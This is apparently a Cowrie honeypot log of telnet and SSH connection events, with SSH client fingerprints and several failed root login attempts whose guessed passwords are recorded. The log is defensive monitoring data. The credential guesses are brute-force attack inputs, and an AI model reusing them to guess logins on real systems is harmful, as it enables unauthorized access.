{"eventid":"cowrie.session.closed","duration":0.4537680149078369,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:48.217218Z","src_ip":"64.227.101.30","session":"9e58b7e9dc02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":53406,"dst_ip":"10.17.0.5","dst_port":22,"session":"06bc6c0bfc3e","protocol":"ssh","message":"New connection: 78.40.217.56:53406 (10.17.0.5:22) [session: 06bc6c0bfc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:48.707428Z"}
{"eventid":"cowrie.session.closed","duration":39.799396991729736,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:49.444345Z","src_ip":"64.227.101.30","session":"9a523c108a6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39984,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b567568a178","protocol":"telnet","message":"New connection: 64.227.101.30:39984 (10.17.0.5:23) [session: 7b567568a178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:51.307129Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60670,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18610877961","protocol":"telnet","message":"New connection: 64.227.101.30:60670 (10.17.0.5:23) [session: d18610877961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:53.568529Z"}
{"eventid":"cowrie.session.closed","duration":0.0050847530364990234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:53.573452Z","src_ip":"64.227.101.30","session":"d18610877961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cae1cb704b5","protocol":"telnet","message":"New connection: 64.227.101.30:40924 (10.17.0.5:23) [session: 0cae1cb704b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:56.270941Z"}
{"eventid":"cowrie.session.closed","duration":38.88628387451172,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:57.209808Z","src_ip":"68.183.198.12","session":"756d28548105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40324,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d01b46ca9b","protocol":"telnet","message":"New connection: 64.227.101.30:40324 (10.17.0.5:23) [session: 26d01b46ca9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:58.324023Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41242,"dst_ip":"159.203.135.109","dst_port":23,"session":"9666422294b9","protocol":"telnet","message":"New connection: 68.183.198.12:41242 (159.203.135.109:23) [session: 9666422294b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:45:59.822685Z"}
{"eventid":"cowrie.session.closed","duration":1.8885633945465088,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:01.711109Z","src_ip":"68.183.198.12","session":"9666422294b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43512,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7a6b311b55","protocol":"telnet","message":"New connection: 64.227.101.30:43512 (10.17.0.5:23) [session: 6b7a6b311b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:02.364751Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44268,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c40414e50ba","protocol":"telnet","message":"New connection: 64.227.101.30:44268 (10.17.0.5:23) [session: 0c40414e50ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:04.840791Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44566,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2a368bb440","protocol":"telnet","message":"New connection: 64.227.101.30:44566 (10.17.0.5:23) [session: db2a368bb440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:06.692772Z"}
{"eventid":"cowrie.session.closed","duration":54.72538208961487,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:06.729274Z","src_ip":"64.227.101.30","session":"9ab55369f11f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.41325807571411,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:09.353199Z","src_ip":"64.227.101.30","session":"dadf27b33e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44194,"dst_ip":"10.17.0.5","dst_port":23,"session":"70add100200f","protocol":"telnet","message":"New connection: 64.227.101.30:44194 (10.17.0.5:23) [session: 70add100200f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:10.620902Z"}
{"eventid":"cowrie.session.closed","duration":35.24478268623352,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:13.425473Z","src_ip":"64.227.101.30","session":"2ef1387c6297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49656,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61cee349eae","protocol":"telnet","message":"New connection: 64.227.101.30:49656 (10.17.0.5:23) [session: e61cee349eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:18.173382Z"}
{"eventid":"cowrie.session.closed","duration":2.9545676708221436,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:21.128015Z","src_ip":"64.227.101.30","session":"e61cee349eae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52010,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb86d3f3ddb","protocol":"telnet","message":"New connection: 64.227.101.30:52010 (10.17.0.5:23) [session: deb86d3f3ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:23.732729Z"}
{"eventid":"cowrie.session.closed","duration":45.22869348526001,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:25.429307Z","src_ip":"68.183.198.12","session":"a4f53a5ab49f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e87a6d1a61","protocol":"telnet","message":"New connection: 64.227.101.30:52660 (10.17.0.5:23) [session: 56e87a6d1a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:27.203710Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":17470,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7ac471a106","protocol":"ssh","message":"New connection: 94.156.152.18:17470 (159.203.135.109:22) [session: 5e7ac471a106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:28.980787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:28.986170Z","src_ip":"94.156.152.18","session":"5e7ac471a106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:29.144114Z","src_ip":"94.156.152.18","session":"5e7ac471a106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.95076084136963,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:29.257769Z","src_ip":"64.227.101.30","session":"7b567568a178","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#8VCPU32GBAMD","message":"login attempt [root/QUEEN#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:29.630601Z","src_ip":"94.156.152.18","session":"5e7ac471a106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:30.787415Z","src_ip":"94.156.152.18","session":"5e7ac471a106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52236,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fdfe9cd6b0c","protocol":"telnet","message":"New connection: 64.227.101.30:52236 (10.17.0.5:23) [session: 8fdfe9cd6b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:31.427574Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47144,"dst_ip":"159.203.135.109","dst_port":23,"session":"196f5b75b7f0","protocol":"telnet","message":"New connection: 68.183.198.12:47144 (159.203.135.109:23) [session: 196f5b75b7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:33.321329Z"}
{"eventid":"cowrie.session.closed","duration":31.31110405921936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:33.675687Z","src_ip":"64.227.101.30","session":"6b7a6b311b55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56788,"dst_ip":"10.17.0.5","dst_port":23,"session":"df77ff2239b0","protocol":"telnet","message":"New connection: 64.227.101.30:56788 (10.17.0.5:23) [session: df77ff2239b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:34.035661Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47314,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cabf9fc396b","protocol":"telnet","message":"New connection: 68.183.198.12:47314 (159.203.135.109:23) [session: 7cabf9fc396b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:35.340760Z"}
{"eventid":"cowrie.session.closed","duration":38.38796901702881,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:36.711716Z","src_ip":"64.227.101.30","session":"26d01b46ca9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58322,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bcc657cacba","protocol":"telnet","message":"New connection: 64.227.101.30:58322 (10.17.0.5:23) [session: 6bcc657cacba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:37.281499Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"e72eb91c63de","protocol":"telnet","message":"New connection: 64.227.101.30:60824 (10.17.0.5:23) [session: e72eb91c63de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:43.099249Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":52442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b9edefc231b","protocol":"ssh","message":"New connection: 78.40.217.56:52442 (10.17.0.5:22) [session: 5b9edefc231b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:43.133248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:43.138053Z","src_ip":"78.40.217.56","session":"5b9edefc231b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:43.293661Z","src_ip":"78.40.217.56","session":"5b9edefc231b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome@2025","message":"login attempt [root/welcome@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:43.949872Z","src_ip":"78.40.217.56","session":"5b9edefc231b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:45.108810Z","src_ip":"78.40.217.56","session":"5b9edefc231b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34600,"dst_ip":"10.17.0.5","dst_port":23,"session":"252849bbbbce","protocol":"telnet","message":"New connection: 64.227.101.30:34600 (10.17.0.5:23) [session: 252849bbbbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:46.714064Z"}
{"eventid":"cowrie.session.closed","duration":53.19622993469238,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:46:59.888868Z","src_ip":"64.227.101.30","session":"db2a368bb440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42198,"dst_ip":"10.17.0.5","dst_port":23,"session":"12e7faf557b1","protocol":"telnet","message":"New connection: 64.227.101.30:42198 (10.17.0.5:23) [session: 12e7faf557b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:00.535534Z"}
{"eventid":"cowrie.session.closed","duration":57.06435561180115,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:01.905023Z","src_ip":"64.227.101.30","session":"0c40414e50ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51502,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ecc444bf01","protocol":"telnet","message":"New connection: 68.183.198.12:51502 (159.203.135.109:23) [session: 30ecc444bf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:04.061303Z"}
{"eventid":"cowrie.session.closed","duration":43.15847635269165,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:06.891106Z","src_ip":"64.227.101.30","session":"deb86d3f3ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.51156282424927,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:13.832803Z","src_ip":"68.183.198.12","session":"196f5b75b7f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49752,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cd37f191a50","protocol":"telnet","message":"New connection: 64.227.101.30:49752 (10.17.0.5:23) [session: 2cd37f191a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:14.916816Z"}
{"eventid":"cowrie.session.closed","duration":82.20997834205627,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:18.480827Z","src_ip":"64.227.101.30","session":"0cae1cb704b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.453757524490356,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:19.881241Z","src_ip":"64.227.101.30","session":"8fdfe9cd6b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.773608446121216,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:19.977190Z","src_ip":"64.227.101.30","session":"56e87a6d1a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53730,"dst_ip":"159.203.135.109","dst_port":23,"session":"200ed71861bf","protocol":"telnet","message":"New connection: 68.183.198.12:53730 (159.203.135.109:23) [session: 200ed71861bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:23.440746Z"}
{"eventid":"cowrie.session.closed","duration":41.46818780899048,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:24.567351Z","src_ip":"64.227.101.30","session":"e72eb91c63de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.32212471961975,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:24.662800Z","src_ip":"68.183.198.12","session":"7cabf9fc396b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.716007471084595,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:25.429976Z","src_ip":"64.227.101.30","session":"252849bbbbce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.92656636238098,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:25.962123Z","src_ip":"64.227.101.30","session":"df77ff2239b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.758272171020508,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:27.198883Z","src_ip":"68.183.198.12","session":"200ed71861bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":36114,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcefbcc9909f","protocol":"ssh","message":"New connection: 78.40.217.56:36114 (10.17.0.5:22) [session: fcefbcc9909f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:33.446695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:33.450784Z","src_ip":"78.40.217.56","session":"fcefbcc9909f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:33.608237Z","src_ip":"78.40.217.56","session":"fcefbcc9909f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fucker","message":"login attempt [root/fucker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:34.257486Z","src_ip":"78.40.217.56","session":"fcefbcc9909f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:35.416619Z","src_ip":"78.40.217.56","session":"fcefbcc9909f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.56720495223999,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:44.102612Z","src_ip":"64.227.101.30","session":"12e7faf557b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:48.717523Z","src_ip":"78.40.217.56","session":"06bc6c0bfc3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.00770831108093,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:50.068882Z","src_ip":"68.183.198.12","session":"30ecc444bf01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.1497106552124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:47:51.066419Z","src_ip":"64.227.101.30","session":"2cd37f191a50","protocol":"telnet"}
